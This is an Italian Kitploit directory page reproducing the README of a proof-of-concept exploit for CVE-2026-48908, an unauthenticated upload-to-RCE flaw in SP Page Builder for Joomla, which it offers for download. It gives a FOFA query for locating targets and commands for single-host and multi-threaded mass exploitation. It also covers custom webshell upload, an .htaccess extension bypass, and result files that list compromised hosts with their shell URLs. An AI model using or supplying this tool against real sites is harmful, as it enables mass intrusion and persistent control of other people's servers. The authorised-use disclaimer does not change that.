Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-48908 — PoC di RCE non autenticato per CVE-2026-48908 SP Page Builder (Joomla) exploit di upload arbitrario di file e esecuzione remota di codice con supporto per scansione di massa. | Kitploit
Strumenti/GitHubGitHub/ayiezola/cve-2026-48908
RicognizioneAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration TestingSviluppo Payload
GitHubayiezola/cve-2026-48908

CVE-2026-48908

PoC di RCE non autenticato per CVE-2026-48908 SP Page Builder (Joomla) exploit di upload arbitrario di file e esecuzione remota di codice con supporto per scansione di massa.

Vedi Repository
12 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-48908 — SP Page Builder RCE non autenticata

SP Page Builder (com_sppagebuilder) per Joomla ≤ 6.6.1 consente ad attaccanti non autenticati di caricare file arbitrari e ottenere l'esecuzione remota di codice.

CampoValore
CVECVE-2026-48908
CWECWE-284 (Controllo di accesso improprio)
ComponenteSP Page Builder (com_sppagebuilder)
Versione affetta1.0.0 – 6.6.1
Versione corretta6.6.2
PrivilegiNessuno (pre-autenticazione)
Interazione utenteNessuna

Query FOFA

root@kitploit:~
body="com_sppagebuilder"

Utilizzo

Requisiti

  • Python 3.8+
root@kitploit:~
pip install -r requirements.txt

Singolo host

root@kitploit:~
python3 exploit_poc.py https://target.example -c "id"
python3 exploit_poc.py --url target.example -c "uname -a"
python3 exploit_poc.py https://target.example --check          # solo verifica, nessun comando
python3 exploit_poc.py https://target.example --token abc123   # token personalizzato

Scansione di massa

root@kitploit:~
python3 exploit_poc.py --hosts ips.txt -c "id"
python3 exploit_poc.py --hosts ips.txt -c "id" -j 20           # 20 thread paralleli
python3 exploit_poc.py --hosts ips.txt --no-verbose             # modalità silenziosa

Webshell personalizzata

root@kitploit:~
python3 exploit_poc.py https://target.example --shell-file shell.php
python3 exploit_poc.py --hosts ips.txt --shell-file shell.php

Nota: Quando si usa --shell-file, lo script carica solo la webshell e riporta l'URL. Non esegue il comando -c né alcun test di esecuzione. La shell caricata deve gestire l'input dei comandi in modo indipendente.

Opzioni

Demo

Singolo host

Scansione di massa

Scansione di massa 1

Scansione di massa 2

Output

Dopo una scansione, vengono salvati tre file di risultati:

Come funziona

L'exploit abusa del task asset.uploadCustomIcon di com_sppagebuilder:

  1. POST di uno ZIP confezionato (pacchetto di icone) senza autenticazione — nessun token CSRF richiesto.
  2. SPPB estrae lo ZIP in /media/com_sppagebuilder/assets/iconfont/<nome>/fonts/.
  3. Il file PHP caricato viene servito pubblicamente.

Lo script tenta multiple estensioni PHP (.php, .PHP, .pHp, .Php, .pht, .phtml, ecc.) finché non ne trova una che esegue.

Bypass htaccess

Quando le estensioni PHP dirette sono bloccate dal filtro di SPPB, lo script inserisce un file .htaccess insieme al payload:

root@kitploit:~
AddType application/x-httpd-php .PHP

Questo forza il server web a trattare .PHP (maiuscolo) come PHP — bypassando la blocklist case-sensitive di SPPB. Richiede AllowOverride abilitato e l'esecuzione PHP consentita in /media.

Nota: Il bypass .htaccess + .PHP maiuscolo potrebbe non funzionare su tutte le configurazioni. Se fallisce, prova a usare le estensioni .png o .jpeg. Su server con AllowOverride disabilitato o esecuzione PHP bloccata in /media, anche le shell caricate non verranno eseguite (segnalato come "sola scrittura").

Modifiche

Questo PoC è basato su https://github.com/papageo75/CVE-2026-48908-PoC/ con le seguenti aggiunte:

1. Gestione delle risposte non JSON

Alcune risposte del server possono contenere prefissi non JSON (es. espressioni cron o altro rumore) prima del payload JSON effettivo. Il PoC originale si bloccava su r.json() durante l'analisi di tali risposte. Questa versione cerca il primo carattere { e tenta di decodificare la sottostringa JSON:

Prima:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    return None

Dopo:

root@kitploit:~
try:
    data = r.json()
except ValueError:
    raw = r.text
    idx = raw.find("{")
    if idx == -1:
        return None
    try:
        data, _ = json.JSONDecoder().raw_decode(raw[idx:])
    except ValueError:
        return None

Esempio — risposta JSON valida:

root@kitploit:~
{
    "name": "icoctxojp",
    "data": {
        "id": 17,
        "type": "iconfont",
        "name": "icoctxojp",
        "title": "Icoctxojp",
        "assets": "["ico ico-x"]",
        "css_path": "media/com_sppagebuilder/assets/iconfont/icoctxojp/style.css",
        "created": "2026-06-24 07:26:18",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https://[REDACTED]//components/com_sppagebuilder/assets/images/customIcons/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

Esempio — risposta non JSON (rumore prefisso prima del JSON):

root@kitploit:~
cron:self,tpl:amara_pro,cfg:ok{
    "name": "icoxwetsw",
    "data": {
        "id": 163,
        "type": "iconfont",
        "name": "icoxwetsw",
        "title": "Icoxwetsw",
        "assets": "[\"ico ico-x\"]",
        "css_path": "media\/com_sppagebuilder\/assets\/iconfont\/icoxwetsw\/style.css",
        "created": "2026-06-24 03:42:57",
        "created_by": 0,
        "published": 1,
        "access": 1,
        "thumb": "https:\/\/[REDACTED]\/\/components\/com_sppagebuilder\/assets\/images\/customIcons\/default.jpg"
    },
    "status": true,
    "output": "Uploaded"
}

2. Supporto scansione di massa

Aggiunta la funzionalità di scansione di massa multi-thread:

  • --hosts <file> — carica i target da un file (uno per riga)
  • -j, --threads <n> — imposta il numero di thread paralleli (predefinito: 10)
  • --no-verbose — sopprime l'output dettagliato per host
  • Risultati raggruppati e salvati in file .txt categorizzati

3. Caricamento webshell personalizzata

Aggiunta l'opzione --shell-file <percorso> per caricare una webshell PHP personalizzata invece della shell predefinita protetta da token. Quando si usa questa opzione:

  • Lo script carica la shell senza eseguire comandi -c
  • Nessun test di esecuzione (run()) viene eseguito
  • Vengono testate e segnalate tutte le estensioni funzionanti
  • Risultati salvati in custom_shell_hosts.txt

Disclaimer

SOLO USO AUTORIZZATO. Solo per test di penetrazione autorizzati, CTF e target di laboratorio. Sei l'unico responsabile per l'uso di questo strumento.

Scarica lo strumento
OpzioneDescrizione
urlURL di destinazione (posizionale o --url)
--hosts <file>File con un host per riga
-c, --cmd <comando>Comando da eseguire (predefinito: id)
--checkSolo verifica, non esegue un comando
--token <token>Segreto che protegge la shell caricata (predefinito: casuale)
--shell-file <percorso>Carica una webshell PHP personalizzata invece di quella integrata
-j, --threads <n>Thread paralleli per scansione di massa (predefinito: 10)
--no-verboseSopprime l'output dettagliato per host
FileContenuto
vulnerable_hosts.txtHost con RCE confermata + URL delle webshell
not_vulnerable_hosts.txtHost aggiornati o assenti
partial_vulnerable_hosts.txtHost con scrittura file ma senza esecuzione PHP
custom_shell_hosts.txtHost con shell personalizzata caricata, raggruppati per URL base (generato solo quando si usa --shell-file)
scan_results.jsonRisultati JSON completi per tutti gli host